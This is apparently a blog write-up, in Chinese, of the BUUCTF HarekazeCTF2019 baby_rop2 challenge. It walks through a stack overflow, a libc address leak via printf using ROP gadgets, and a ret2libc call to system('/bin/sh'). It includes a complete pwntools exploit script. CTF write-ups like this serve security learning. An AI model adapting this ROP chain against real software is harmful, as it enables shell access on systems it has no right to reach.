BUUCTF-HarekazeCTF2019-babyrop2

题目简介

BUUCTF原题,链接在这:BUUCTF原题:[HarekazeCTF2019]baby_rop2

漏洞点分析

首先还是拖进IDA里分析:


可以看到溢出点发生在main函数,并且从左侧的函数表来看没有明显的后门函数

接下来用checksec查看一下保护:


可以看到只开启了NX保护,再联系到题目给了libc.so.6的附件,可以分析出这道题需要ret2libc

漏洞点利用

首先通过IDA看出偏移量offset=0x20+0x8=0x28

接下来考虑如何泄露libc基地址

注意观察程序中没有调用puts函数,但有一个printf函数,所以只能通过printf来输出libc的基地址

接下来希望能找到程序本身存在的格式化字符串,在IDA中使用shift+F12,可以看到在程序的只读数据段(.rodata)存在%s格式字符串,如图:


然后鼠标双击这个字符串,可以找到格式化字符串的实际地址,如图:


printf函数有两个参数,因此要寻找pop rdi、pop rsi和ret指令碎片:


如上图所示,最终找到可用的pop rdi、pop rsi和ret指令的碎片分别在0x400733、0x400731和0x4004d1的位置

注意,这个程序里面没有完美的pop rsi ; ret序列,只能用0x400731处的pop rsi ; pop r15 ; ret序列凑活一下,到时候多填充个数给r15即可

最后,用于泄露地址的目标函数还是选择__libc_start_main

综上,最终的利用脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
from pwn import *
offset=0x28
pop_rdiAddr=0x400733
pop_rsiAddr=0x400731
retAlignPadding=0x4004d1
targetELF="./BUUCTF39"
targetLibc="./libc.so.6"

context(os="linux",arch="amd64",log_level="debug")
ioTube=process(targetELF)
#ioTube=gdb.debug(targetELF,"b *main+149")
#ioTube=remote("node5.buuoj.cn",27211)

elf=ELF(targetELF)
libc=ELF(targetLibc)

pltAddr=elf.plt["printf"]
leakFuncName="__libc_start_main"
gotAddr=elf.got[leakFuncName]
startAddr=elf.symbols["_start"]
formatStr=0x400770

ioTube.recvuntil("What's your name? ")
payload1=b'a'*offset+p64(pop_rdiAddr)+p64(formatStr)+p64(pop_rsiAddr)+p64(gotAddr)+p64(0)+p64(pltAddr)+p64(startAddr)+p64(retAlignPadding)
ioTube.sendline(payload1)
response=ioTube.recvuntil("!\nWha")
#print("响应={}\n".format(response))
realAddr=u64(response[-11:-5].ljust(8,b'\x00'))
#print("测试一下泄露的地址长啥样:{}\n".format(hex(realAddr)))
libcBase=realAddr-libc.symbols[leakFuncName]
#print("真实地址={},libc基地址={}\n".format(hex(realAddr),hex(libcBase)))

sysAddr=libcBase+libc.symbols["system"]
binshAddr=libcBase+next(libc.search("/bin/sh"))
payload2=b'1'*offset+p64(pop_rdiAddr)+p64(binshAddr)+p64(sysAddr)+p64(retAlignPadding)
ioTube.recvuntil("your name? ")
ioTube.sendline(payload2)
#ioTube.recvall(timeout=3)
#ioTube.recv()
ioTube.interactive()

BUUCTF-HarekazeCTF2019-babyrop2
http://0x4a-210.github.io/2025/07/27/pwn刷题记录/ROP/ret2libc/BUUCTF-HarekazeCTF2019-babyrop2/
Posted on
July 27, 2025
Licensed under